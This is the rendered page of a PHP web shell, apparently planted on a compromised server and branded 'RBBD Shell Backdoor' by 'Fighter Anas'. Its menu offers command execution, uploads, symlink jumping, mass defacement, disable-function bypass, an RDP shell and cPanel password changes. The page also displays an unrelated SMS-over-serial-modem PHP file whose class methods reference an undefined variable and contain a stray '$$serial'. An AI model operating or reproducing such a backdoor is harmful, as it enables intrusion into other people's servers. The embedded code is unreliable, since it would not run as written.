⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
php
/
gsm_sms_1
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/php/gsm_sms_1/sms.php
<?php include 'PhpSerial.php'; // Let's start the class $serial = new PhpSerial; $tlfn = 604705850; $text = "Hello, how are you?"; // First we must specify the device. This works on both linux and windows (if // your linux serial device is /dev/ttyS0 for COM1, etc) // If you are using Windows, make sure you disable FIFO from the modem's // Device Manager properties pane (Advanced >> Advanced Port Settings...) $serial->deviceSet("COM3"); // Then we need to open it $serial->deviceOpen('w+'); // We may need to return if nothing happens for 10 seconds stream_set_timeout($serial->_dHandle, 10); $serial->confParity("none"); $serial->confCharacterLength(8); $serial->confStopBits(1); $serial->confFlowControl("none"); // We can change the baud rate $serial->confBaudRate(115200); // SMS inbox query - mode command and list command $serial->sendMessage("AT",1); var_dump($serial->readPort()); $serial->sendMessage("AT+CMGF=1\n\r",1); var_dump($serial->readPort()); class sms { //private $_serial; private $debug; //protected $_pinOK = false; protected $openAT = false; const EXCEPTION_SERVICE_NOT_IMPLEMENTED = 3; public static function factory($serial, $debug=false) { if (!($serial instanceof PHPSerial || $serial instanceof Sms_Http || $serial instanceof Sms_Dummy )) { throw new Exception("NOT IMPLEMENTED", self::EXCEPTION_SERVICE_NOT_IMPLEMENTED); } $serial->setValidOutputs(array( 'OK', 'ERROR', '+CPIN: SIM PIN', '+CPIN: READY', '>' )); return new self($serial, $debug); } protected function __construct($serial, $debug=false) { $this->_serial = $serial; $this->_debug = $debug; } public function sendSMS($tlfn, $text) { //$serial->deviceOpen(); $text = substr($text, 0, 160); if ($serial->openAT === true) { $serial->sendMessage("AT+CMGS=\"{$tlfn}\"\n"); $out = $serial->readPort(); if ($out == '>') { $serial->sendMessage("{$text}" . chr(26)); $out = $serial->readPort(); } else { return false; } } else { $serial->sendMessage("AT+CMGS=\"{$tlfn}\"\r{$text}" . chr(26)); $out = $serial->readPort(); } $serial->deviceClose(); if ($out == 'OK') { return true; } else { return false; } } /* $serial->sendMessage("AT+CMGL=\"ALL\"\n\r",2); var_dump($serial->readPort()); // If you want to change the configuration, the device must be closed $serial->deviceClose(); */ public function setOpenAT($openAT) { $$serial->openAT = $openAT; } } $sms = Sms::factory($serial); ?>
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas